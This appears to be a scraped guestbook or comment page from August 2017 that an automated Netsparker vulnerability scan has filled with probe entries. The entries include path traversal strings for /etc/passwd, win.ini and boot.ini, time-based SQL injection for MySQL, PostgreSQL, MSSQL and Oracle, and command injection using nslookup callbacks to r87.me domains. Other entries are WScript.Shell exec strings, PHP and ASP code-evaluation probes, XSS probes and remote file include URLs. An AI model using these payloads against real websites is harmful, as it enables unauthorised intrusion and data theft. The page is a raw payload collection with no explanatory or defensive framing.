....//....//....//....//....//....//....//....//....//....//....//etc/passwd

+

+ 8/23/2017 8:10:05 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:05 AM +

+

+ -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" +

+
+

Smith

+

+ 8/23/2017 8:10:04 AM +

+

+ -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

"+print localtime()*0+0xFFF9999-22+"

+

+ 8/23/2017 8:10:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:04 AM +

+

+ +

+
+

'+print localtime()*0+0xFFF9999-22+'

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

eval('print localtime()*0+0xFFF9999-22')

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

...//...//...//...//...//...//...//...//...//...//...//etc/passwd

+

+ 8/23/2017 8:10:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:03 AM +

+

+ -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

/../../../../../../../../../../../etc/passwdďż˝.aspx

+

+ 8/23/2017 8:10:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:02 AM +

+

+ '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' +

+
+

Smith

+

+ 8/23/2017 8:10:02 AM +

+

+ +

+
+

print localtime()*0+0xFFF9999-22

+

+ 8/23/2017 8:10:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:01 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A)) +

+
+

Smith

+

+ 8/23/2017 8:10:00 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwdďż˝

+

+ 8/23/2017 8:10:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:10:00 AM +

+

+ ));SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ '));SELECT pg_sleep(25)-- +

+
+

file:///etc/passwd

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

[php]print(int)0xFFF9999-22;[/php]

+

+ 8/23/2017 8:09:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:59 AM +

+

+ ');SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:58 AM +

+

+ php://filter//resource=http://r87.com/n?ďż˝.aspx +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:58 AM +

+

+ +

+
+

/../../../../../../../../../../../etc/passwd

+

+ 8/23/2017 8:09:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:58 AM +

+

+ );SELECT pg_sleep(25)-- +

+
+

'{${print(int)0xFFF9999-22}}'

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:57 AM +

+

+ SELECT pg_sleep(25)-- +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

/../../../../../../../../../../proc/versionďż˝.aspx

+

+ 8/23/2017 8:09:57 AM +

+

+ +

+
+

{php}print(int)0xFFF9999-22;{/php}

+

+ 8/23/2017 8:09:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ ;SELECT pg_sleep(25)-- +

+
+

Smith

+

+ 8/23/2017 8:09:56 AM +

+

+ http://r87.com/n?.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

http://example.com/? +ns: netsparker056650=vuln

+

+ 8/23/2017 8:09:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:55 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

ns:netsparker056650=vuln

+

+ 8/23/2017 8:09:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:54 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

"+print(int)0xFFF9999-22+"

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

/../../../../../../../../../../proc/version

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ http://r87.com/n?ďż˝.aspx +

+
+

Smith

+

+ 8/23/2017 8:09:53 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

/../../../../../../../../../../var/log/apache/error.log

+

+ 8/23/2017 8:09:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ |expr${IFS}268409241${IFS}-${IFS}2 +

+
+

'+print(int)0xFFF9999-22+'

+

+ 8/23/2017 8:09:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:52 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:52 AM +

+

+ |nslookup${IFS}"o010_rdnxu19k9chh5tbbyojxvthogj-bgugbpdu""np8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ "&nslookup "o010_rdnxud6pcldcpwfpwyqkkfj-ppegaokpyop""v90.r87.me" +

+
+

/../../../../../../../../../../var/log/apache2/error.log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:51 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

+print(int)0xFFF9999-22;//

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:51 AM +

+

+ '&nslookup "o010_rdnxu3vfnc2mjmdsmqjf1_u4efyppjssgz3""apw.r87.me" +

+
+

/../../../../../../../../../../etc/httpd/logs/error_log

+

+ 8/23/2017 8:09:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ hTTp://r87.com/n +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ &nslookup "o010_rdnxuywyz0nnht1rm1nopeh1zxovrslrvcc""7j8.r87.me" +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:50 AM +

+

+ nslookup "o010_rdnxuyq6restihprsdjetv_0rnd_6gqctvt""dny.r87.me" +

+
+

Smith

+

+ 8/23/2017 8:09:50 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

/../../../../../../../../../../etc/httpd/logs/error.log

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ "& nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&'\"`0&nslookup o010_rdnxuiniybhs76cc_62ygdlbg7ciu9iarj3ln8.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:49 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:49 AM +

+

+ '& nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&'\"`0&nslookup o010_rdnxuakqjo4g7wvfikhgzt_m5c_pfq3jaxyl9s.r87.me&`' +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`' +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ "+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+" +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:09:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')') +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me') +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ "+createobject("WScript.Shell").exec("nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p" & "hf8.r87.me").StdOut.ReadAll+" +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ expr 268409241 - 2 +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ <%createobject("WScript.Shell").exec("nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p" & "asu.r87.me").StdOut.ReadAll%> +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq" & "olq.r87.me").StdOut.ReadAll+ +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft" & "k80.r87.me").StdOut.ReadAll +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ ping -w 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:42 AM +

+

+ createobject("WScript.Shell").exec("nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve" & "g44.r87.me").StdOut.ReadAll +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ expr 268409241 - 2; +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:40 AM +

+

+ '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}' +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ &ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ "+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+" +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ '&ping -w 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:38 AM +

+

+ '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+' +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ;expr 268409241 - 2;x +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

